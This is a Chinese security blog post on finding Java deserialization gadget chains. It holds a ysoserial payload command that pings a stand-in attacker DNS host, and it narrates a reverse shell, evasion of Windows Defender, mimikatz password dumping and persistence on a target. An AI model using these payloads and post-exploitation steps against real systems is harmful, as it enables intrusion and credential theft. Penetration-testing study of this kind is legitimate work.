聊聊在反序列化漏洞中如何找Gadget利用链

admin 2024年10月30日10:07:10评论26 views字数 2041阅读6分48秒阅读模式
前言

最近好像做了很长很长一场梦,梦醒了~

免责声明:

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关。

注意:

本免责声明旨在明确指出,本文仅为技术交流、学习和研究之用,不得将文章中的技术用于任何非法目的或破坏行为。发表本文章的作者对于任何非法使用技术或对他人或系统造成的损害概不负责。

阅读和参考本文章时,您必须明确并承诺,不会利用文章中提供的技术来实施非法活动、侵犯他人的权益或对系统进行攻击。任何使用本文中的技术所导致的任何意外、损失或损害,包括但不限于数据损失、财产损失、法律责任等问题,都与发表本文章的作者无关。

本文提供的技术信息仅供学习和参考之用,不构成任何形式的担保或保证。发表本文章的作者不对技术的准确性、有效性或适用性做任何声明或保证。

01
Gadget是什么?

首先,Gadget是什么?

在Java反序列化漏洞中,Gadget通常指的是一种特定的代码或对象,这些代码或对象可以被攻击者利用来执行恶意操作。

例如,在反序列化攻击中,攻击者可以构造一个特定的序列化对象,当这个对象被反序列化时,它会触发不安全的代码路径,从而导致远程代码执行或其他安全问题。

Gadget通常依赖于Java的反射机制和动态类型特性。至于怎么挖掘Gadget链,暂时不是本文讲的内容,前人已经挖掘了大量的Gadget链,能用好就不错了。

聊聊在反序列化漏洞中如何找Gadget利用链

02
Gadget怎么用?

以一个很典型的漏洞,Log4j为例。

通常我们发现一个Log4j,那就咔咔上JNDI-exploit,一顿操作。

但是其实遇到的多了会发现,像内置的EXP,有时候可以,有时候不行(例如最常用的Basic模式和TomcatBypass模式)

聊聊在反序列化漏洞中如何找Gadget利用链

比如正常的,一顿猛梭哈:

聊聊在反序列化漏洞中如何找Gadget利用链

但是吧,实际环境总是比较坎坷,时不时会遇到两种都打不了的情况。

所以接下来就引入怎么去找目标环境可用的利用链这回事。

03

手工查找利用链

最常用的是URLDNS链。

URLDNS链是java通过反序列化发起dns请求的利用链,一般用于测试反序列化漏洞。
最简单的操作步骤:
1. 准备环境

    配置DNSlog:确保你有一个可以控制的DNS服务器,用于接收请求并监控解析的结果。

2. 创建Gadget Payload

    使用工具生成Gadget链的序列化Payload,例如使用ysoserial工具。选择一个适合的Gadget(如CommonsCollections、Spring等)来构建Payload。

java -jar ysoserial.jar CommonsCollections1 'ping -n  1 CommonsCollections1.evil-DNS-server.com' > payload.ser

3. 将Payload发送到目标

    将构造好的Payload发送到目标Java应用。确保应用程序能接收反序列化数据。

4. 监控DNS请求

    在你的DNS服务器上,设置日志记录以监控传入的DNS请求。当目标应用程序解析你的Payload时,它会尝试加载Gadget链中指定的资源。

5. 分析结果

    根据监控到的DNS请求,分析哪些Gadget链是有效的,以及它们是否能够成功触发恶意代码执行。比如假设其中一个执行了

ping -n  1 CommonsCollections1.evil-DNS-server.com

    我们就可以根据记录上请求的域名A记录,判断到底哪条链子可以打。
当然这个办法比较慢,实际环境中还是考虑快速的探测出来为主。

聊聊在反序列化漏洞中如何找Gadget利用链

04

快速查找利用链

笔者比较推荐的JYso(https://github.com/qi4L/JYso),搭配DNSLOG

聊聊在反序列化漏洞中如何找Gadget利用链

这样就可以快速探测目标环境的利用链子。

例如,这是近期笔者遇到的一个特殊情况:

聊聊在反序列化漏洞中如何找Gadget利用链

DNSLOG的回显:

聊聊在反序列化漏洞中如何找Gadget利用链

虽然看到了Jackson可以用,但是笔者兴冲冲生成ping命令并且执行两次成功之后,以为拿下了,遂cs上线一把梭。

聊聊在反序列化漏洞中如何找Gadget利用链

链子的对应关系:

聊聊在反序列化漏洞中如何找Gadget利用链

但是左等右等也不见上线,回过头去看,好像只执行ping???!!!

其他命令就不行???

聊聊在反序列化漏洞中如何找Gadget利用链

冥思苦想良久,又反复看了七八遍JYSO的WIKI,还是不知问题在哪里。

于是果断换工具,检索半天,捞出一个JNDIMap(https://github.com/X1r0z/JNDIMap),看着说明,这不瞌睡来了送枕头吗?聊聊在反序列化漏洞中如何找Gadget利用链

还能反弹shell一把梭

聊聊在反序列化漏洞中如何找Gadget利用链

服务器上起个监听,果然shell到手:

聊聊在反序列化漏洞中如何找Gadget利用链

爽!!!

聊聊在反序列化漏洞中如何找Gadget利用链

啊???

聊聊在反序列化漏洞中如何找Gadget利用链

内心寻思,什么辣鸡WDF,看我秒过

聊聊在反序列化漏洞中如何找Gadget利用链

坏大事了,光速上线又下线,再执行文件都没了,寄

聊聊在反序列化漏洞中如何找Gadget利用链

于是乎掏出代理大法,给我狠狠的上线:

聊聊在反序列化漏洞中如何找Gadget利用链

极为抽象的是,22年制作的mimikatz依旧能bypassWDF,抓密码毫无动静(笑嘻了~)

05

后话

还是挺坎坷的,磕磕巴巴找到正确利用链+反弹shell+免杀Defender+加白工具+维持权限,已经后半夜了。

哎,菜就多练~

聊聊在反序列化漏洞中如何找Gadget利用链

👇关注我了解更多安全小技巧

原文始发于微信公众号(JC的安全之路):聊聊在反序列化漏洞中如何找Gadget利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月30日10:07:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   聊聊在反序列化漏洞中如何找Gadget利用链http://cn-sec.com/archives/3332099.html

发表评论

匿名网友 填写信息